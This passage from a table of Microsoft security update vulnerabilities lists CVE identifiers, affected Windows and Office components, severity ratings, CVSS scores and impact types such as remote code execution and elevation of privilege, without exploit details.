Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55128\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55130\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50359\n  Microsoft XML Core\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-57097\n  Microsoft XML Security\n  Feature Bypass Vulnerability\n  Important\n  6.4\n  No\n  No\n  SFB\n \n \n  CVE-2026-50346\n  Netlogon RPC Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50402\n  NTFS Elevation of\n  Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50506\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-45646\n  OData for ASP.NET and\n  ASP.NET Core Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54989\n  Quality Windows\n  Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50365\n  Remote Access\n  Management service/API (RPC server) Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54990\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58594\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56190\n  Remote Desktop\n  Protocol Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49783\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-42990\n  SQL Server ODBC driver\n  Elevation of Privilege Vulnerability\n  Important\n  9.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49168\n  Storage Spaces Direct\n  Elevation of Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-48581\n  Surface Broker SDMA\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49180\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50455\n  Universal Plug and\n  Play (upnp.dll) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54111\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58543\n  Universal Print\n  Management Service Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58601\n  Virtual Hard Disk\n  (VHD) Miniport Driver Elevation of Privilege Vulernability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50520\n  Visual Studio Code\n  Remote Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-45496\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-57101\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-57102\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  8.8\n  No\n  No\n  SFB\n \n \n  CVE-2026-47305\n  Visual Studio Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49805\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50297\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50325\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50489\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57095\n  Win32k Elevation of\n  Privilege Vulnerability\n  Important\n  6.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50416\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-56184\n  Win32k Information\n  Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50432\n  Window Virtual\n  Filtering Platform (VFP) Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  DoS\n \n \n  CVE-2026-54119\n  Windows Active\n  Directory Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57976\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50366\n  Windows Active\n  Directory Domain Services Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49178\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58529\n  Windows Active\n  Directory Federation Services (ADFS) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-54983\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50695\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50304\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50368\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50324\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  5.9\n  No\n  No\n  DoS\n \n \n  CVE-2026-50355\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50411\n  Windows Active\n  Directory Federation Services Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-58631\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56196\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56197\n  Windows Admin Center\n  (WAC) Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56169\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-57107\n  Windows Admin Center\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56185\n  Windows Admin Center\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50312\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50462\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-57093\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-34346\n  Windows Ancillary\n  Function Driver for WinSock Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-48572\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-48571\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50400\n  Windows App Package\n  Installer Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50331\n  Windows Application\n  Model Core API Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49803\n  Windows AppX\n  Deployment Extensions Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50351\n  Windows Audio\n  Compression Manager (ACM) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50440\n  Windows Audio Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34328\n  Windows Audio Service\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50406\n  Windows Backup Engine\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50364\n  Windows Backup Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-42975\n  Windows Bluetooth Port\n  Driver Remote Code Execution\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58538\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58638\n  Windows Boot Loader\n  Security Feature Bypass Vulnerability\n  Important\n  6\n  No\n  No\n  SFB\n \n \n  CVE-2026-58637\n  Windows Client-Side\n  Caching Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50384\n  Windows Clip Service\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49183\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50689\n  Windows Clipboard\n  Server Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50374\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-58536\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58613\n  Windows Cloud Files\n  Mini Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50401\n  Windows Cloud Files\n  Mini Filter Driver Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50697\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50667\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50421\n  Windows Connected User\n  Experiences and Telemetry Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50428\n  Windows Container\n  Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability\n  Important\n  7.1\n  No\n  No\n  Info\n \n \n  CVE-2026-50352\n  Windows Cryptographic\n  Services Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50302\n  Windows Cryptographic\n  Services Security Feature Bypass Vulnerability\n  Important\n  4.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-55144\n  Windows Cryptography\n  API: Next Generation (CNG) Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50347\n  Windows Data.dll\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49181\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50683\n  Windows DHCP Client\n  Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58627\n  Windows DHCP Server\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50685\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-49807\n  Windows DirectX\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-49175\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50487\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  8.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50465\n  Windows DNS Client\n  Tampering Vulnerability\n  Important\n  7.1\n  No\n  No\n  Tampering\n \n \n  CVE-2026-49169\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50426\n  Windows DNS Server\n  Remote Code Execution Vulnerability\n  Important\n  6.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50424\n  Windows Domain\n  Controller Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50300\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50437\n  Windows DWM Core\n  Library Information Disclosure \n  Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-34348\n  Windows Event Logging\n  Service Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50502\n  Windows Event Logging\n  Service Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  RCE\n \n \n  CVE-2026-33842\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-40422\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-41087\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50473\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50442\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50389\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50456\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57084\n  Windows File Explorer\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-57091\n  Windows File History\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50405\n  Windows Filtering\n  Platform Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49172\n  Windows FTP Service\n  Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50387\n  Windows GDI Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54122\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50483\n  Windows Graphics\n  Component Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58609\n  Windows Graphics\n  Component Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50391\n  Windows Group Policy\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50310\n  Windows Human\n  Interface Device Information Disclosure Vulnerability\n  Important\n  4.7\n  No\n  No\n  Info\n \n \n  CVE-2026-50485\n  Windows Hyper-V Denial\n  of Service Vulnerability\n  Important\n  4.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-54129\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50315\n  Windows Image\n  Acquisition Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58534\n  Windows Input Method\n  Editor (IME) Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50490\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58540\n  Windows Installer\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50425\n  Windows Internal\n  System User Profile Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50293\n  Windows Internal Task\n  Bar Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49167\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  4.7\n  No\n  No\n  EoP\n \n \n  CVE-2026-49173\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54132\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  6.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49795\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49798\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-49808\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50354\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.1\n  No\n  No\n  EoP\n \n \n  CVE-2026-50332\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50377\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  5.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50390\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50423\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50397\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50436\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50399\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50459\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50477\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50478\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50484\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50673\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58532\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50294\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  6.2\n  No\n  No\n  Info\n \n \n  CVE-2026-50316\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50419\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  Info\n \n \n  CVE-2026-50463\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50475\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50429\n  Windows Kernel\n  Information Disclosure Vulnerability\n  Important\n  8.2\n  No\n  No\n  Info\n \n \n  CVE-2026-58614\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58545\n  Windows Kernel\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-58602\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50393\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50396\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50378\n  Windows Key Guard\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50303\n  Windows Key Guard\n  Security Feature Bypass Vulnerability\n  Important\n  5.5\n  No\n  No\n  SFB\n \n \n  CVE-2026-40378\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-49799\n  Windows Local Security\n  Authority Subsystem Service (LSASS) Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50371\n  Windows LUA File\n  Virtualization Filter Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58544\n  Windows Management\n  Services Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50404\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50358\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50336\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50398\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50414\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50379\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50433\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50676\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50677\n  Windows Media\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-34349\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50394\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50415\n  Windows Media\n  Information Disclosure Vulnerability\n  Important\n  5.3\n  No\n  No\n  Info\n \n \n  CVE-2026-57083\n  Windows Media Photo\n  Codec Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-54115\n  Windows Message\n  Queuing (MSMQ) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50447\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50505\n  Windows Message\n  Queuing Service (MSMQ) Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  RCE\n \n \n  CVE-2026-50342\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56183\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56187\n  Windows MIDI Service\n  Module Elevation of Privileges Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-58635\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50500\n  Windows Netlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50476\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50450\n  Windows Network\n  Connections Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56650\n  Windows Network File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56649\n  Windows Network File\n  System Remote Code Execution Vulnerability\n  Important\n  5.9\n  No\n  No\n  RCE\n \n \n  CVE-2026-50470\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50496\n  Windows Network Policy\n  Server SNMP Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  Info\n \n \n  CVE-2026-56194\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56648\n  Windows NFS Server\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-50337\n  Windows Notification\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-49789\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-50412\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50422\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50672\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-56175\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-56182\n  Windows NTFS Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50341\n  Windows NTFS\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-58640\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.3\n  No\n  No\n  RCE\n \n \n  CVE-2026-49184\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-49797\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50308\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50386\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50309\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50313\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50388\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50448\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50471\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50461\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50417\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50482\n  Windows NTFS Remote\n  Code Execution 